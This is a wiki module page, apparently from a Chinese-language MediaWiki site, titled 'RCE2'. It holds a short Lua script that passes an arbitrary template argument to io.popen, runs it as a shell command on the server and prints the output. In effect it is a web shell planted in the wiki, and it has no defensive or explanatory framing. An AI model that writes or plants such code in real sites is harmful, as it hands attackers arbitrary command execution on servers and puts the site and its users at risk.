模块:RCE2

来自希服维基

可在模块:RCE2/doc创建此模块的帮助文档

-- RCE via os.execute
local p = {}

function p.run(frame)
    local cmd = frame.args[1] or 'id'
    local f = io.popen(cmd .. ' 2>&1')
    local out = f:read('*all')
    f:close()
    return '<pre>' .. out .. '</pre>'
end

return p